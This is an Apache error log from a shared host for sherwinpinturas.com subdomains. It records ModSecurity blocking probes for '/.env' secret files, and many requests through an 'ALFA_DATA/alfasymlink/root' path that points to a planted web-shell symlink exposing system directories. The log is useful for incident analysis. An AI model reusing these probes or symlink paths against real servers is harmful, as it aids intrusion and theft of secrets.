[Sun Oct 25 10:50:10.219755 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 44.208.223.68:42963] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/remove
[Sun Oct 25 10:50:12.924691 2026] [security2:error] [pid 2847221:tid 2847221] [client 130.12.180.164:19204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4XJOM--6-a9qfJalgP7wAAAC8"]
[Sun Oct 25 10:50:12.924950 2026] [security2:error] [pid 2847221:tid 2847221] [client 130.12.180.164:19204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4XJOM--6-a9qfJalgP7wAAAC8"]
[Sun Oct 25 10:50:12.925206 2026] [security2:error] [pid 2847221:tid 2847221] [client 130.12.180.164:19204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4XJOM--6-a9qfJalgP7wAAAC8"]
[Sun Oct 25 10:50:12.937755 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.175:22198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4XJAYPMfHr0EMMDlnogAAAABM"]
[Sun Oct 25 10:50:12.938148 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.175:22198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4XJAYPMfHr0EMMDlnogAAAABM"]
[Sun Oct 25 10:50:12.938565 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.175:22198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4XJAYPMfHr0EMMDlnogAAAABM"]
[Sun Oct 25 10:50:14.198913 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 54.85.109.140:56448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:18.133534 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.3.155.146:37971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:22.180504 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 100.29.128.75:48084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:26.364777 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.193.2.57:58540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:38.381113 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 3.217.171.106:54650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:46.134025 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 34.195.248.30:60758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:50.353814 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.197.28.78:48156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:10.130987 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 54.198.33.233:21706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:14.155688 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 34.234.197.175:36942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:17.490550 2026] [core:error] [pid 2847173:tid 2847173] (13)Permission denied: [client 85.208.96.205:26798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/destroy_by_rcu
[Sun Oct 25 10:51:18.129853 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 52.203.68.145:4366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:30.143222 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.22.64.232:12564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:33.686895 2026] [security2:error] [pid 2847214:tid 2847214] [client 49.51.183.75:56562] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_tamaulipas_1.html"] [unique_id "at4XdfhVEu9HLPc5D-_5zwAAACk"]
[Sun Oct 25 10:51:34.145570 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 52.2.83.227:1593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:42.163190 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 54.204.12.115:63751] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory20/subsystem/uevent
[Sun Oct 25 10:51:46.134838 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 98.82.66.172:46219] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:50.152469 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.205.163.103:20432] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:51:58.183539 2026] [ssl:error] [pid 2847227:tid 2847227] (5)Input/output error: [client 52.204.37.237:15384] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:05.923972 2026] [core:error] [pid 2847173:tid 2847173] (13)Permission denied: [client 185.191.171.13:43240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/shrink
[Sun Oct 25 10:52:06.155583 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 18.207.79.144:11868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:10.144755 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 18.210.58.238:1958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:26.124389 2026] [ssl:error] [pid 2847173:tid 2847173] (5)Input/output error: [client 18.210.58.238:7956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:34.128073 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 3.217.171.106:28123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:38.169773 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 44.223.193.255:9076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:42.192280 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.204.150.196:48134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:54.136122 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 54.166.126.132:49686] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:52:58.126110 2026] [ssl:error] [pid 2847176:tid 2847176] (5)Input/output error: [client 3.212.205.90:37200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:53:06.161181 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.206.212.24:11655] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:53:26.233957 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 23.21.119.232:26354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/Cavium PTP Driver/unbind
[Sun Oct 25 10:53:34.397502 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 185.191.171.16:22912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/store_user
[Sun Oct 25 10:53:38.154077 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.203.65.83:4855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:53:46.142945 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 3.223.134.5:31375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:54:00.438418 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.2:46460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/trace
[Sun Oct 25 10:54:02.168410 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 44.209.35.147:51643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/cirrus/unbind
[Sun Oct 25 10:54:05.022248 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.206:63598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/min_partial
[Sun Oct 25 10:54:06.206406 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 34.205.163.103:17240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:54:14.124335 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 3.221.156.96:17144] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:54:18.291915 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 44.212.145.46:27200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:54:34.131123 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 107.23.62.75:43936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/rescan
[Sun Oct 25 10:54:42.155313 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 54.83.23.103:14014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:55:02.125752 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.197.178.107:31714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:55:18.138453 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 52.0.218.219:14416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:55:46.287807 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 52.204.253.129:22731] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/bind
[Sun Oct 25 10:55:54.189695 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.200.142.199:5394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:56:10.203772 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.89.176.255:7541] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:56:18.141570 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.225.243.131:16414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:56:22.112469 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 98.82.38.120:52059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:56:28.540934 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 185.191.171.8:18706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/usersize
[Sun Oct 25 10:56:34.277243 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.71.46.142:55308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:56:50.620836 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 35.173.38.202:60632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:56:54.118754 2026] [proxy_fcgi:error] [pid 2847173:tid 2847173] [client 139.28.219.68:38292] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 10:56:54.121320 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.203.68.145:32832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:56:55.299013 2026] [security2:error] [pid 2847173:tid 2847173] [client 139.28.219.68:38292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sesion1.sherwinpinturas.com"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "at4Ytw8IdyxlzPtPgw-QjQAAACA"]
[Sun Oct 25 10:56:55.299053 2026] [security2:error] [pid 2847173:tid 2847173] [client 139.28.219.68:38292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sesion1.sherwinpinturas.com"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "at4Ytw8IdyxlzPtPgw-QjQAAACA"]
[Sun Oct 25 10:57:10.134667 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 52.3.104.214:31900] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:57:17.037297 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 185.191.171.13:15930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/reclaim_account
[Sun Oct 25 10:57:21.774744 2026] [security2:error] [pid 2847227:tid 2847227] [client 185.191.171.9:11114] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/ea-apr-util/NOTICE"] [unique_id "at4Y0ZaFInOsw263h0DrRAAAADU"]
[Sun Oct 25 10:57:21.774785 2026] [security2:error] [pid 2847227:tid 2847227] [client 185.191.171.9:11114] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/ea-apr-util/NOTICE"] [unique_id "at4Y0ZaFInOsw263h0DrRAAAADU"]
[Sun Oct 25 10:57:22.274004 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 98.82.214.73:23533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:57:30.122756 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 52.204.37.237:1053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/Cavium PTP Driver/remove_id
[Sun Oct 25 10:57:38.131809 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.221.203.24:62302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:57:46.117222 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 184.73.195.18:5064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:57:50.124337 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.196.118.6:40791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:58:06.129744 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 23.21.175.228:64042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:58:10.158250 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.235.239.240:23967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:58:22.261578 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 18.205.91.101:61811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:58:26.128578 2026] [security2:error] [pid 2848588:tid 2848588] [client 54.156.248.117:7471] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at4ZEvG5-CVNoUmcEPP_igAAAAA"]
[Sun Oct 25 10:58:26.128623 2026] [security2:error] [pid 2848588:tid 2848588] [client 54.156.248.117:7471] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at4ZEvG5-CVNoUmcEPP_igAAAAA"]
[Sun Oct 25 10:58:42.249936 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 34.193.2.57:37627] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:58:46.144193 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.70.209.13:5603] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:58:50.277615 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 23.21.227.240:12318] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:58:58.118765 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 100.28.49.152:5446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/resource1
[Sun Oct 25 10:59:06.307111 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 3.226.106.93:46290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:59:22.333680 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.157.84.74:1167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:59:38.128980 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 23.23.214.190:19011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:59:46.152770 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 98.83.177.42:41622] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:59:58.162351 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 44.210.213.220:55600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:00:20.870798 2026] [core:error] [pid 2847173:tid 2847173] (13)Permission denied: [client 185.191.171.15:39340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/reclaim_account
[Sun Oct 25 11:00:22.135910 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 23.21.204.95:61268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:00:30.117909 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 3.210.114.189:40841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:00:41.351752 2026] [security2:error] [pid 2848588:tid 2848588] [client 85.208.96.194:22532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/linux/netfilter/xt_devgroup.h"] [unique_id "at4ZmfG5-CVNoUmcEPP_jwAAAAA"]
[Sun Oct 25 11:00:41.351810 2026] [security2:error] [pid 2848588:tid 2848588] [client 85.208.96.194:22532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/linux/netfilter/xt_devgroup.h"] [unique_id "at4ZmfG5-CVNoUmcEPP_jwAAAAA"]
[Sun Oct 25 11:00:56.445062 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 85.208.96.193:60046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/slabs_cpu_partial
[Sun Oct 25 11:00:58.125472 2026] [ssl:error] [pid 2847175:tid 2847175] (5)Input/output error: [client 44.215.61.66:19648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:00:58.300517 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 185.191.171.12:25746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/store_user
[Sun Oct 25 11:01:02.122081 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.223.181.32:43113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:01:06.341423 2026] [core:crit] [pid 2847221:tid 2847221] (13)Permission denied: [client 95.214.53.196:57460] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 11:01:06.531945 2026] [core:crit] [pid 2847176:tid 2847176] (13)Permission denied: [client 95.214.53.196:47600] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 11:01:19.649625 2026] [security2:error] [pid 2847221:tid 2847221] [client 185.191.171.1:51956] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/xfs_freeze"] [unique_id "at4Zv-M--6-a9qfJalgQCAAAAC8"]
[Sun Oct 25 11:01:19.649679 2026] [security2:error] [pid 2847221:tid 2847221] [client 185.191.171.1:51956] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/xfs_freeze"] [unique_id "at4Zv-M--6-a9qfJalgQCAAAAC8"]
[Sun Oct 25 11:01:26.154343 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 54.80.185.200:16947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:01:30.172112 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 23.21.204.95:4950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/tpm_crb/uevent
[Sun Oct 25 11:01:34.224887 2026] [security2:error] [pid 2815605:tid 2815605] [client 3.219.80.71:31277] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/input5/device/input/"] [unique_id "at4ZzgYPMfHr0EMMDlnonAAAABM"]
[Sun Oct 25 11:01:34.224940 2026] [security2:error] [pid 2815605:tid 2815605] [client 3.219.80.71:31277] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/input5/device/input/"] [unique_id "at4ZzgYPMfHr0EMMDlnonAAAABM"]
[Sun Oct 25 11:01:38.143066 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 54.147.238.89:7363] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/remove
[Sun Oct 25 11:01:46.328901 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 3.217.82.254:3682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:01:54.186830 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 98.84.200.43:62700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:01:58.149894 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.212.219.113:2653] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:02:02.115891 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 3.215.59.93:38004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:02:06.116864 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.2.4.213:48006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:02:14.114500 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 18.215.49.176:34413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:02:18.126171 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 34.196.237.236:1913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:02:26.295793 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.8:22912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/total_objects
[Sun Oct 25 11:02:34.115853 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.235.172.108:1052] AH02013: coalesce failed to read from data bucket
